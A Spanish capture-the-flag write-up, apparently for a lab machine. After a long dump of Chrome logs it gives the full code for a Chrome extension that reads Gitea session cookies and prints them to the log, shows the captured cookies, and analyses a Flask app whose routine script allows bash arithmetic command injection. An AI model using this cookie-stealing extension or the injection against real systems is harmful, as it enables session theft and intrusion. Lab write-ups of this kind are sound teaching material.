[2555:2555:0111/001631.441367:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get database model score, trying default model.
[2555:2555:0111/001631.441606:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=CROSS_DEVICE_USER_SEGMENT does not have a segment info.
[2555:2555:0111/001631.441624:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get score from database, executing server model.
[2555:2555:0111/001631.441636:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=CROSS_DEVICE_USER_SEGMENT server segment info not available
[2555:2555:0111/001631.441651:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441664:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=CROSS_DEVICE_USER_SEGMENT has expired or unavailable result.
[2555:2555:0111/001631.441676:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get database model score, trying default model.
[2555:2555:0111/001631.441767:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=RESUME_HEAVY_USER_SEGMENT does not have a segment info.
[2555:2555:0111/001631.441781:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get score from database, executing server model.
[2555:2555:0111/001631.441792:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=RESUME_HEAVY_USER_SEGMENT server segment info not available
[2555:2555:0111/001631.441804:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441813:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=RESUME_HEAVY_USER_SEGMENT has expired or unavailable result.
[2555:2555:0111/001631.441821:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get database model score, trying default model.
[2555:2555:0111/001631.441934:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=PASSWORD_MANAGER_USER does not have a segment info.
[2555:2555:0111/001631.441944:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get score from database, executing server model.
[2555:2555:0111/001631.441952:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=PASSWORD_MANAGER_USER server segment info not available
[2555:2555:0111/001631.441960:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441969:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=PASSWORD_MANAGER_USER has expired or unavailable result.
[2555:2555:0111/001631.441979:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get database model score, trying default model.
[2555:2576:0111/001631.442467:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query WITH all_buckets(bucket)AS(VALUES(0),(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27))SELECT IFNULL(count_vals,0)FROM (SELECT SUM(metric_value) AS sum_vals, COUNT(metric_value) AS count_vals, (event_timestamp-?)/? AS bucket FROM uma_metrics WHERE metric_hash='4F47AC1641163C54' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? GROUP BY bucket)RIGHT JOIN all_buckets USING(bucket)ORDER BY bucket Bind values: 0:2025-12-14 00:16:31.440107 UTC 1:86400000000 2:2466474089 3:3 4:2025-12-14 00:16:31.440107 UTC 5:2026-01-11 00:16:31.440107 UTC  Result: 0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,
[2555:2555:0111/001631.442705:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 feature 5: 0 feature 6: 0 feature 7: 0 feature 8: 0 feature 9: 0 feature 10: 0 feature 11: 0 feature 12: 0 feature 13: 0 feature 14: 0 feature 15: 0 feature 16: 0 feature 17: 0 feature 18: 0 feature 19: 0 feature 20: 0 feature 21: 0 feature 22: 0 feature 23: 0 feature 24: 0 feature 25: 0 feature 26: 0 feature 27: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2555:2576:0111/001631.442771:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='603A678A76802F71' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441222 UTC 3:2026-01-11 00:16:31.441222 UTC  Result: 0.000000,
[2555:2555:0111/001631.442800:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 1 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2555:2555:0111/001631.442836:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=1, rank=1
[2555:2576:0111/001631.442839:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='1A94D82447638877' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-01-04 00:16:31.441377 UTC 3:2026-01-11 00:16:31.441377 UTC  Result: 0.000000,
[2555:2555:0111/001631.442848:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191442830 result 0: 1 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2555:2555:0111/001631.442864:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191442830 result 0: 1 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2555:2576:0111/001631.442882:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='8A5076C9026398BD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441377 UTC 3:2026-01-11 00:16:31.441377 UTC  Result: 0.000000,
[2555:2576:0111/001631.442987:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='ED7CFEC70BF9942D' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-01-04 00:16:31.441377 UTC 3:2026-01-11 00:16:31.441377 UTC  Result: 0.000000,
[2555:2576:0111/001631.443050:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='9AD089D233757CA7' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441693 UTC 3:2026-01-11 00:16:31.441693 UTC  Result: 0.000000,
[2555:2576:0111/001631.443109:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='43AA16B058663FB7' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441693 UTC 3:2026-01-11 00:16:31.441693 UTC  Result: 0.000000,
[2555:2576:0111/001631.443183:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='B00E169A508F10AD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441693 UTC 3:2026-01-11 00:16:31.441693 UTC  Result: 0.000000,
[2555:2555:0111/001631.443190:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191442830 result 0: 1 for segmentation key: chrome_low_user_engagement
[2555:2576:0111/001631.443238:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='5FD2B9E0B59FBE33' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441693 UTC 3:2026-01-11 00:16:31.441693 UTC  Result: 0.000000,
[2555:2576:0111/001631.443282:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='C5E37EF42704563E' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2576:0111/001631.443318:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='B72DBAE88DD1CF7D' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2576:0111/001631.443353:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='43D86E968F3E094A' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2555:0111/001631.443366:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 for segment CROSS_DEVICE_USER_SEGMENT
[2555:2555:0111/001631.443388:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2555:2576:0111/001631.443407:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='2CA9FE4BEBD6A7C5' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2555:0111/001631.443428:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 1 for segment CROSS_DEVICE_USER_SEGMENT
[2555:2555:0111/001631.443463:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=1, rank=1
[2555:2576:0111/001631.443463:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='EBCD1644AA07E17B' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2555:0111/001631.443477:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191443458 result 0: 1 for segment CROSS_DEVICE_USER_SEGMENT
[2555:2555:0111/001631.443502:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191443458 result 0: 1 for segment id: CROSS_DEVICE_USER_SEGMENT
[2555:2576:0111/001631.443541:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='74AFBBB14C4DB32A' AND profile_id=? AND type=? AND metric_value IN(0)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443569:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2555:2555:0111/001631.443597:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2555:2555:0111/001631.443606:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191443593 result 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2555:2555:0111/001631.443623:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191443593 result 0: 0 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2555:2576:0111/001631.443629:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='6BF86CCA1FD02CBD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443681:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191443458 result 0: 1 for segmentation key: cross_device_user
[2555:2576:0111/001631.443706:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='F1B94D87A1EF91D5' AND profile_id=? AND type=? AND metric_value IN(0,1,2)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443727:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191443593 result 0: 0 for segmentation key: shopping_user
[2555:2555:0111/001631.443772:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2555:2576:0111/001631.443782:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='F806CECA7515DAAD' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443796:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2555:2555:0111/001631.443822:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2555:2555:0111/001631.443832:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191443818 result 0: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2555:2576:0111/001631.443844:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='FCA0EC1277E6DBE0' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443848:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191443818 result 0: 0 for segment id: RESUME_HEAVY_USER_SEGMENT
[2555:2555:0111/001631.443890:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191443818 result 0: 0 for segmentation key: resume_heavy_user
[2555:2576:0111/001631.443912:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='FCA0EC1277E6DBE0' AND profile_id=? AND type=? AND metric_value IN(0,2,3)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2576:0111/001631.443971:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='DA0925D2758C07B7' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2576:0111/001631.444027:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COUNT(id) FROM metrics WHERE metric_hash = '64BD7CCE5A95BF00' Bind values:  Result: 0.000000,
[2555:2555:0111/001631.444384:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 feature 5: 0 feature 6: 0 for segment PASSWORD_MANAGER_USER
[2555:2555:0111/001631.444434:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2555:2555:0111/001631.444487:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment PASSWORD_MANAGER_USER
[2555:2555:0111/001631.444527:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2555:2555:0111/001631.444538:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191444522 result 0: 0 for segment PASSWORD_MANAGER_USER
[2555:2555:0111/001631.444600:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191444522 result 0: 0 for segment id: PASSWORD_MANAGER_USER
[2555:2555:0111/001631.444745:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2555:2555:0111/001631.444822:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2555:2555:0111/001631.444846:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191444815 result 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2555:2555:0111/001631.444899:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191444815 result 0: 0 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2555:2555:0111/001631.444994:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191444522 result 0: 0 for segmentation key: password_manager_user
[2555:2555:0111/001631.445104:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191444815 result 0: 0 for segmentation key: search_user
[2555:2574:0111/001633.815355:VERBOSE1:shutdown_signal_handlers_posix.cc(136)] Handling shutdown for signal 15.
[2555:2555:0111/001633.838212:WARNING:zygote_communication_linux.cc(306)] Error reading message from zygote: Connection reset by peer (104)
[2555:2555:0111/001633.839066:ERROR:zygote_communication_linux.cc(296)] Failed to send GetTerminationStatus message to zygote
[2555:2555:0111/001633.839095:WARNING:zygote_communication_linux.cc(308)] Socket closed prematurely.

En el output encontramos:

El directorio de Chrome: /var/www/.cache/google-chrome-for-testing/
Se muestra que esta a la escucha DevTools: DevTools listening on ws://127.0.0.1:40899/devtools/browser/d228454d-b707-4ea4-83a9-29851a07bb18
Se indica diferentes solicitudes a http://localhost/,http://browsedinternals.htb asi como tambien a la direccion de la imagen definida en el codigo de la extension.

Tras el envio de la extension se muestra el comando a ejecutar. Se indican dos direcciones, una al localhost y al dominio browsedinternals.htb. Tambien, que la ejecucion no es en sandbox.

Running command: timeout 10s xvfb-run /opt/chrome-linux64/chrome --disable-gpu --no-sandbox --load-extension="/tmp/extension_6962ebd7c33750.47114202" --remote-debugging-port=0 --disable-extensions-except="/tmp/extension_6962ebd7c33750.47114202" --enable-logging=stderr --v=1 http://localhost/ http://browsedinternals.htb 2>&1 |tee /tmp/extension_6962ebd7c33750.47114202/output.log

Ademas, es posible la explotacion de SSRF a traves de una extension.

Gitea

Tras agregar browsedinternals.htb al archivo /etc/hosts observamos que gitea corre en el servidor bajo este dominio.

Malicious Extension

SSRF - Stealing Cookies

Creamos una extension que nos permitiria obtener las cookies de gitea de existir alguna. Se especifican los permisos, tanto para cookies como hosts. Tambien, se define un Service Worker.

{
  "manifest_version": 3,
  "name": "Cookies",
  "version": "1.0",
  "permissions": ["cookies"],
  "host_permissions": [
    "http://browsedinternals.htb/*",
    "http://localhost/*"
  ],
  "background": {
    "service_worker": "background.js"
  }
}

Utilizando la API de Cookies creamos una funcion que imprime las cookies encontradas para gitea, utilizando console.error esto para que pueda ser mostrado en el output.

function showCookies() {
    const gitea = "browsedinternals.htb";

    chrome.cookies.getAll({ domain: gitea }, (cookies) => {
        if (cookies.length === 0) {
            console.error("[-] No cookies found for " + gitea);
            return;
        }

        console.error("[+] Cookies for " + gitea + ":");
        cookies.forEach((cookie) => {
            console.error(`[COOKIE] Name: ${cookie.name} | Value: ${cookie.value}`);
        });
    });
}

chrome.runtime.onInstalled.addListener(() => {
    console.error("[!] Extension start");
    showCookies();
    console.error("[!] Extension end.");
});

Comprimimos en zip los dos archivos.

❯ zip extension.zip *
updating: background.js (deflated 52%)
updating: manifest.json (deflated 37%)
❯ 
❯ file extension.zip
extension.zip: Zip archive data, made by v3.0 UNIX, extract using at least v2.0, last modified Jan 10 2026 20:19:18, uncompressed size 609, method=deflate
❯

Tras subir la extension se observa en el output cookies para gitea.

Sin embargo estas cookies no son validas para ningun usuario.

[4543:4543:0111/021941.099257:INFO:CONSOLE(18)] "[+] Extension installed", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (18)
[4543:4543:0111/021941.103762:INFO:CONSOLE(20)] "[+] End.", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (20)
[4543:4543:0111/021941.104448:INFO:CONSOLE(10)] "[+] Cookies for browsedinternals.htb:", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (10)
[4543:4543:0111/021941.107976:INFO:CONSOLE(12)] "[COOKIE] Name: i_like_gitea | Value: 561973dbd5e2aa11", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (12)
[4543:4543:0111/021941.108018:INFO:CONSOLE(12)] "[COOKIE] Name: _csrf | Value: x2vj6G76TesWP9WWZaHRiUsjIqI6MTc2ODA5Nzk4MDg3OTk0ODM1MA", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (12)

Para localhost no existe ninguna cookie.

`1`	`[4782:4782:0111/022658.354746:INFO:CONSOLE(6)] "[-] No cookies found for localhost", source: chrome-extension://hgaaheljbgmidnlpfmkoifhbbheekeeb/background.js (6)`

Repository

El usuario larry tiene un repositorio en gitea. Segun la descripcion, esta permite cambiar archivos markdown a html.

Clonamos el repositorio para su analisis, se listan dos backups y un archivo log comprimido.

❯ git clone http://browsedinternals.htb/larry/MarkdownPreview.git
Cloning into 'MarkdownPreview'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 15 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (15/15), done.
❯ cd MarkdownPreview
❯ tree
.
├── app.py
├── backups
│   ├── data_backup_20250317_121551.tar.gz
│   └── data_backup_20250317_123946.tar.gz
├── files
│   └── cf23093c09e7478382e716e31d06b3ef.html
├── log
│   ├── routine.log
│   └── routine.log.gz
├── README.md
└── routines.sh

4 directories, 8 files
❯

Ninguno de los archivos comprimidos tiene informacion.

❯ tar -xvf data_backup_20250317_121551.tar.gz
❯ tar -xvf data_backup_20250317_123946.tar.gz
home/larry/markdownPreview/data/
❯ tree home
home
└── larry
    └── markdownPreview
        └── data

4 directories, 0 files
❯ gunzip routine.log.gz
gzip: routine.log already exists; do you wish to overwrite (y or n)? y
❯ cat routine.log
[2025-03-17 12:15:39] Routine 0: Temporary files cleaned.
[2025-03-17 12:15:51] Routine 1: Data backed up to /home/larry/markdownPreview/backups.
[2025-03-17 12:16:49] Routine 0: Temporary files cleaned.
[2025-03-17 12:17:22] Routine 2: Log files compressed.
[2025-03-17 12:17:49] Routine 2: Log files compressed.
[2025-03-17 12:18:29] Routine 2: Log files compressed.
❯

Vulnerable Application

La aplicacion tiene rutas que permiten guardar archivos html desde contenido markdown, listar y poder ver su contenido.

from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename

import markdown
import os, subprocess
import uuid

app = Flask(__name__)
FILES_DIR = "files"

# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)

@app.route('/')
def index():
    return '''
    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>
    '''


@app.route('/submit', methods=['POST'])
def submit():
    content = request.form.get('content', '')
    if not content.strip():
        return 'Empty content. <a href="/">Go back</a>'

    # Convert markdown to HTML
    html = markdown.markdown(content)

    # Save HTML to unique file
    filename = f"{uuid.uuid4().hex}.html"
    filepath = os.path.join(FILES_DIR, filename)
    with open(filepath, 'w') as f:
        f.write(html)

    return f'''
    <p>File saved as <code>{filename}</code>.</p>
    <p><a href="/view/{filename}">View Rendered HTML</a></p>
    <p><a href="/">Go back</a></p>
    '''

@app.route('/files')
def list_files():
    files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
    links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
    return f'''
    <h1>Saved HTML Files</h1>
    <ul>{links}</ul>
    <p><a href="/">Back to editor</a></p>
    '''

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

@app.route('/view/<filename>')
def view_file(filename):
    filename = secure_filename(filename)
    if not filename.endswith('.html'):
        return "Invalid filename", 400
    return send_from_directory(FILES_DIR, filename)

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

Command Injection via Bash Arithmetic Evaluation

En la ruta /routines/<rid> se acepta un argumento que es utilizado para ejecutar un script en bash.

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

En el script existen cuatro opciones que permiten el manejo de archivos, backups y logs.

#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

En este encontramos que se esta haciendo uso de -eq.

# ... cut ...
if [[ "$1" -eq 0 ]]; then
# ... cut ...
